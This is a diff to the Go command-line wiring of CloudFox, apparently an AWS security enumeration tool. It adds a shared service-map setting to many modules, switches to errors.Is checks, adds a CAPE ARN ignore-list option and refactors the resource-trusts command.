fmt.Printf("[%s][%s] Cached AWS data written to %s\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), cyan(profile), outputDirectory)
@@ -631,7 +637,7 @@ func FindOrgMgmtAccountAndReorderAccounts(AWSProfiles []string, version string)
cacheDirectory := filepath.Join(AWSOutputDirectory, "cached-data", "aws", ptr.ToString(caller.Account))
err = internal.LoadCacheFromGobFiles(cacheDirectory)
if err != nil {
if err == internal.ErrDirectoryDoesNotExist {
if errors.Is(err, internal.ErrDirectoryDoesNotExist) {
fmt.Printf("[%s][%s] No cache directory for %s. Skipping loading cached data.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), cyan(profile), ptr.ToString(caller.Account))
} else {
fmt.Printf("[%s][%s] No cache data for %s. Error: %v\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), cyan(profile), ptr.ToString(caller.Account), err)
@@ -682,6 +688,9 @@ func runAccessKeysCommand(cmd *cobra.Command, args []string) {
func runApiGwCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
@@ -695,6 +704,7 @@ func runApiGwCommand(cmd *cobra.Command, args []string) {
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
ServiceMap: sharedServiceMap,
}
m.PrintApiGws(AWSOutputDirectory, Verbosity)
}
@@ -725,6 +735,9 @@ func runBucketsCommand(cmd *cobra.Command, args []string) {
func runCloudformationCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -739,6 +752,7 @@ func runCloudformationCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintCloudformationStacks(AWSOutputDirectory, Verbosity)
}
@@ -746,6 +760,9 @@ func runCloudformationCommand(cmd *cobra.Command, args []string) {
func runCodeBuildCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -762,6 +779,7 @@ func runCodeBuildCommand(cmd *cobra.Command, args []string) {
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
ServiceMap: sharedServiceMap,
}
m.PrintCodeBuildProjects(AWSOutputDirectory, Verbosity)
}
@@ -769,6 +787,9 @@ func runCodeBuildCommand(cmd *cobra.Command, args []string) {
func runDatabasesCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -786,6 +807,7 @@ func runDatabasesCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintDatabases(AWSOutputDirectory, Verbosity)
}
@@ -793,6 +815,9 @@ func runDatabasesCommand(cmd *cobra.Command, args []string) {
func runECRCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -807,6 +832,7 @@ func runECRCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintECR(AWSOutputDirectory, Verbosity)
}
@@ -814,6 +840,9 @@ func runECRCommand(cmd *cobra.Command, args []string) {
func runSQSCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -831,6 +860,7 @@ func runSQSCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintSQS(AWSOutputDirectory, Verbosity)
}
@@ -838,17 +868,32 @@ func runSQSCommand(cmd *cobra.Command, args []string) {
func runSNSCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
}
cloudFoxSNSClient := aws.InitCloudFoxSNSClient(*caller, profile, cmd.Root().Version, Goroutines, AWSWrapTable, AWSMFAToken)
cloudFoxSNSClient.PrintSNS(AWSOutputDirectory, Verbosity)
m := aws.SNSModule{
SNSClient: sns.NewFromConfig(AWSConfig),
Caller: *caller,
AWSProfile: profile,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
ServiceMap: sharedServiceMap,
}
m.PrintSNS(AWSOutputDirectory, Verbosity)
}
}
func runEKSCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -867,6 +912,7 @@ func runEKSCommand(cmd *cobra.Command, args []string) {
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
ServiceMap: sharedServiceMap,
}
m.EKS(AWSOutputDirectory, Verbosity)
}
@@ -874,6 +920,9 @@ func runEKSCommand(cmd *cobra.Command, args []string) {
func runEndpointsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -903,6 +952,7 @@ func runEndpointsCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintEndpoints(AWSOutputDirectory, Verbosity)
}
@@ -910,13 +960,15 @@ func runEndpointsCommand(cmd *cobra.Command, args []string) {
func runEnvsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
}
m := aws.EnvsModule{
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
@@ -930,6 +982,7 @@ func runEnvsCommand(cmd *cobra.Command, args []string) {
LambdaClient: lambda.NewFromConfig(AWSConfig),
LightsailClient: lightsail.NewFromConfig(AWSConfig),
SagemakerClient: sagemaker.NewFromConfig(AWSConfig),
ServiceMap: sharedServiceMap,
}
m.PrintEnvs(AWSOutputDirectory, Verbosity)
}
@@ -937,6 +990,9 @@ func runEnvsCommand(cmd *cobra.Command, args []string) {
func runFilesystemsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -953,6 +1009,7 @@ func runFilesystemsCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
filesystems.PrintFilesystems(AWSOutputDirectory, Verbosity)
}
@@ -1172,6 +1229,20 @@ func runCapeCommand(cmd *cobra.Command, args []string) {
}
}
// if the CapeArnIgnoreList arg is not empty, read the file and add the arns to the CapeArnIgnoreList
if CapeArnIgnoreList != "" {
// call ReadArnIgnoreListFile and add the arns to the CapeArnIgnoreList
arnsToIgnore, err := aws.ReadArnIgnoreListFile(CapeArnIgnoreList)
if err != nil {
fmt.Println("Error reading the arn ignore list file: " + err.Error())
}
// remove nodes that are in the CapeArnIgnoreList from the graph
for _, arn := range arnsToIgnore {
GlobalGraph.RemoveVertex(arn)
}
}
// make pmapper edges
//you can update edges, so we can just merge attributes as needed
// first we add the edges that already exist in pmapper, then later we will make more edges based on the cloudfox role trusts logic
@@ -1182,7 +1253,7 @@ func runCapeCommand(cmd *cobra.Command, args []string) {
graph.EdgeAttribute(edge.ShortReason, edge.Reason),
)
if err != nil {
if err == graph.ErrEdgeAlreadyExists {
if errors.Is(err, graph.ErrEdgeAlreadyExists) {
// update theedge by copying the existing graph.Edge with attributes and add the new attributes
//fmt.Println("Edge already exists")
@@ -1318,10 +1389,20 @@ func runCapeTUICommand(cmd *cobra.Command, args []string) {
if _, err := os.Stat(filepath.Join(cloudfoxRunData.OutputLocation, "json", fileName)); os.IsNotExist(err) {
fmt.Printf("[%s] Could not retrieve CAPE data for profile %s.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)), profile)
//remove the profile from the list of profiles to analyze
AWSProfiles = append(AWSProfiles[:i], AWSProfiles[i+1:]...)
if len(AWSProfiles) > 1 {
AWSProfiles = append(AWSProfiles[:i], AWSProfiles[i+1:]...)
} else {
if CapeAdminOnly {
fmt.Printf("[%s] Could not retrieve cape data. Did you run cape without the --admin-only flag? You'll need to run cape with --admin-only to use the tui with --admin-only\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)))
} else {
fmt.Printf("[%s] Did you run cape with the --admin-only flag? You'll need to run cape without --admin-only to use the tui without --admin-only\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)))
}
os.Exit(1)
}
}
}
if len(capeOutputFileLocations) == 0 {
fmt.Printf("[%s] Could not retrieve CAPE data.\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", cmd.Root().Version)))
os.Exit(1)
@@ -1338,13 +1419,14 @@ func runIamSimulatorCommand(cmd *cobra.Command, args []string) {
continue
}
m := aws.IamSimulatorModule{
IAMClient: iam.NewFromConfig(AWSConfig),
Caller: *caller,
AWSProfileProvided: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
IAMClient: iam.NewFromConfig(AWSConfig),
Caller: *caller,
AWSProfileProvided: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
IamSimulatorAdminCheckOnly: IamSimulatorAdminCheckOnly,
}
m.PrintIamSimulator(SimulatorPrincipal, SimulatorAction, SimulatorResource, AWSOutputDirectory, Verbosity)
}
@@ -1352,6 +1434,9 @@ func runIamSimulatorCommand(cmd *cobra.Command, args []string) {
func runInstancesCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1370,6 +1455,7 @@ func runInstancesCommand(cmd *cobra.Command, args []string) {
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
ServiceMap: sharedServiceMap,
}
m.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
}
@@ -1377,6 +1463,9 @@ func runInstancesCommand(cmd *cobra.Command, args []string) {
func runInventoryCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1430,6 +1519,7 @@ func runInventoryCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintInventoryPerRegion(AWSOutputDirectory, Verbosity)
}
@@ -1437,6 +1527,9 @@ func runInventoryCommand(cmd *cobra.Command, args []string) {
func runLambdasCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1454,6 +1547,7 @@ func runLambdasCommand(cmd *cobra.Command, args []string) {
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
ServiceMap: sharedServiceMap,
}
m.PrintLambdas(AWSOutputDirectory, Verbosity)
}
@@ -1461,6 +1555,9 @@ func runLambdasCommand(cmd *cobra.Command, args []string) {
func runOutboundAssumedRolesCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1476,6 +1573,7 @@ func runOutboundAssumedRolesCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintOutboundRoleTrusts(OutboundAssumedRolesDays, AWSOutputDirectory, Verbosity)
}
@@ -1547,13 +1645,15 @@ func runPrincipalsCommand(cmd *cobra.Command, args []string) {
continue
}
m := aws.IamPrincipalsModule{
IAMClient: iam.NewFromConfig(AWSConfig),
Caller: *caller,
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
IAMClient: iam.NewFromConfig(AWSConfig),
Caller: *caller,
AWSProfile: profile,
Goroutines: Goroutines,
SkipAdminCheck: AWSSkipAdminCheck,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
}
m.PrintIamPrincipals(AWSOutputDirectory, Verbosity)
}
@@ -1561,6 +1661,9 @@ func runPrincipalsCommand(cmd *cobra.Command, args []string) {
func runRAMCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1575,6 +1678,7 @@ func runRAMCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
ram.PrintRAM(AWSOutputDirectory, Verbosity)
@@ -1583,26 +1687,44 @@ func runRAMCommand(cmd *cobra.Command, args []string) {
func runResourceTrustsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
}
m := aws.ResourceTrustsModule{
Caller: *caller,
AWSProfileProvided: profile,
Goroutines: Goroutines,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
WrapTable: AWSWrapTable,
CloudFoxVersion: cmd.Root().Version,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
AWSConfig: AWSConfig,
}
m.PrintResources(AWSOutputDirectory, Verbosity)
runResourceTrustsCommandWithProfile(cmd, args, profile)
}
}
func runResourceTrustsCommandWithProfile(cmd *cobra.Command, args []string, profile string) {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
var KMSClient sdk.KMSClientInterface = kms.NewFromConfig(AWSConfig)
var APIGatewayClient sdk.APIGatewayClientInterface = apigateway.NewFromConfig(AWSConfig)
var EC2Client sdk.AWSEC2ClientInterface = ec2.NewFromConfig(AWSConfig)
var OpenSearchClient sdk.OpenSearchClientInterface = opensearch.NewFromConfig(AWSConfig)
if err != nil {
return
}
m := aws.ResourceTrustsModule{
KMSClient: &KMSClient,
APIGatewayClient: &APIGatewayClient,
EC2Client: &EC2Client,
OpenSearchClient: &OpenSearchClient,
Caller: *caller,
AWSProfileProvided: profile,
Goroutines: Goroutines,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
WrapTable: AWSWrapTable,
CloudFoxVersion: cmd.Root().Version,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
AWSConfig: AWSConfig,
ServiceMap: sharedServiceMap,
}
m.PrintResources(AWSOutputDirectory, Verbosity, ResourceTrustsIncludeKms)
}
func runRoleTrustCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
@@ -1649,6 +1771,9 @@ func runRoute53Command(cmd *cobra.Command, args []string) {
func runSecretsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1665,6 +1790,7 @@ func runSecretsCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintSecrets(AWSOutputDirectory, Verbosity)
}
@@ -1694,6 +1820,9 @@ func runTagsCommand(cmd *cobra.Command, args []string) {
func runWorkloadsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1714,6 +1843,7 @@ func runWorkloadsCommand(cmd *cobra.Command, args []string) {
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
ServiceMap: sharedServiceMap,
}
m.PrintWorkloads(AWSOutputDirectory, Verbosity)
}
@@ -1721,6 +1851,9 @@ func runWorkloadsCommand(cmd *cobra.Command, args []string) {
func runDirectoryServicesCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
var AWSConfig = internal.AWSConfigFileLoader(profile, cmd.Root().Version, AWSMFAToken)
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
@@ -1735,6 +1868,7 @@ func runDirectoryServicesCommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintDirectories(AWSOutputDirectory, Verbosity)
}
@@ -1742,6 +1876,9 @@ func runDirectoryServicesCommand(cmd *cobra.Command, args []string) {
func runECSTasksCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
@@ -1760,6 +1897,7 @@ func runECSTasksCommand(cmd *cobra.Command, args []string) {
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
PmapperDataBasePath: PmapperDataBasePath,
ServiceMap: sharedServiceMap,
}
m.ECSTasks(AWSOutputDirectory, Verbosity)
}
@@ -1767,6 +1905,9 @@ func runECSTasksCommand(cmd *cobra.Command, args []string) {
func runENICommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
@@ -1781,6 +1922,7 @@ func runENICommand(cmd *cobra.Command, args []string) {
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.ElasticNetworkInterfaces(AWSOutputDirectory, Verbosity)
}
@@ -1788,6 +1930,9 @@ func runENICommand(cmd *cobra.Command, args []string) {
func runNetworkPortsCommand(cmd *cobra.Command, args []string) {
for _, profile := range AWSProfiles {
sharedServiceMap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
caller, err := internal.AWSWhoami(profile, cmd.Root().Version, AWSMFAToken)
if err != nil {
continue
@@ -1808,6 +1953,7 @@ func runNetworkPortsCommand(cmd *cobra.Command, args []string) {
Verbosity: Verbosity,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
ServiceMap: sharedServiceMap,
}
m.PrintNetworkPorts(AWSOutputDirectory)
}
@@ -1909,14 +2055,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
SQSClient: sqsClient,
SSMClient: ssmClient,
StepFunctionClient: stepFunctionClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
}
inventory2.PrintInventoryPerRegion(AWSOutputDirectory, Verbosity)
@@ -1961,11 +2106,10 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
instances.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
route53 := aws.Route53Module{
Route53Client: route53Client,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
}
lambdasMod := aws.LambdasModule{
@@ -1999,7 +2143,6 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
filesystems.PrintFilesystems(AWSOutputDirectory, Verbosity)
endpoints := aws.EndpointsModule{
EKSClient: eksClient,
S3Client: s3Client,
LambdaClient: lambdaClient,
@@ -2015,14 +2158,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
CloudfrontClient: cloudfrontClient,
AppRunnerClient: appRunnerClient,
LightsailClient: lightsailClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
}
endpoints.PrintEndpoints(AWSOutputDirectory, Verbosity)
@@ -2030,12 +2172,11 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
gateways := aws.ApiGwModule{
APIGatewayv2Client: apiGatewayv2Client,
APIGatewayClient: apiGatewayClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
}
gateways.PrintApiGws(AWSOutputDirectory, Verbosity)
@@ -2056,10 +2197,9 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
databases.PrintDatabases(AWSOutputDirectory, Verbosity)
ecstasks := aws.ECSTasksModule{
EC2Client: ec2Client,
ECSClient: ecsClient,
IAMClient: iamClient,
EC2Client: ec2Client,
ECSClient: ecsClient,
IAMClient: iamClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
@@ -2073,9 +2213,8 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
ecstasks.ECSTasks(AWSOutputDirectory, Verbosity)
eksCommand := aws.EKSModule{
EKSClient: eksClient,
IAMClient: iamClient,
EKSClient: eksClient,
IAMClient: iamClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
@@ -2103,11 +2242,10 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
fmt.Printf("[%s] %s\n", cyan(emoji.Sprintf(":fox:cloudfox :fox:")), green("Looking for secrets hidden between the seat cushions."))
ec2UserData := aws.InstancesModule{
EC2Client: ec2Client,
IAMClient: iamClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
EC2Client: ec2Client,
IAMClient: iamClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
UserDataAttributesOnly: true,
AWSProfile: profile,
Goroutines: Goroutines,
@@ -2117,7 +2255,6 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
}
ec2UserData.Instances(InstancesFilter, AWSOutputDirectory, Verbosity)
envsMod := aws.EnvsModule{
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
@@ -2183,14 +2320,13 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
secrets := aws.SecretsModule{
SecretsManagerClient: secretsManagerClient,
SSMClient: ssmClient,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
Caller: *caller,
AWSRegions: internal.GetEnabledRegions(profile, cmd.Root().Version, AWSMFAToken),
AWSProfile: profile,
Goroutines: Goroutines,
WrapTable: AWSWrapTable,
AWSOutputType: AWSOutputType,
AWSTableCols: AWSTableCols,
}
secrets.PrintSecrets(AWSOutputDirectory, Verbosity)
@@ -2224,10 +2360,8 @@ func runAllChecksCommand(cmd *cobra.Command, args []string) {
networkPorts.PrintNetworkPorts(AWSOutputDirectory)
sqsMod := aws.SQSModule{
SQSClient: sqsClient,
SQSClient: sqsClient,
StorePolicies: StoreSQSAccessPolicies,
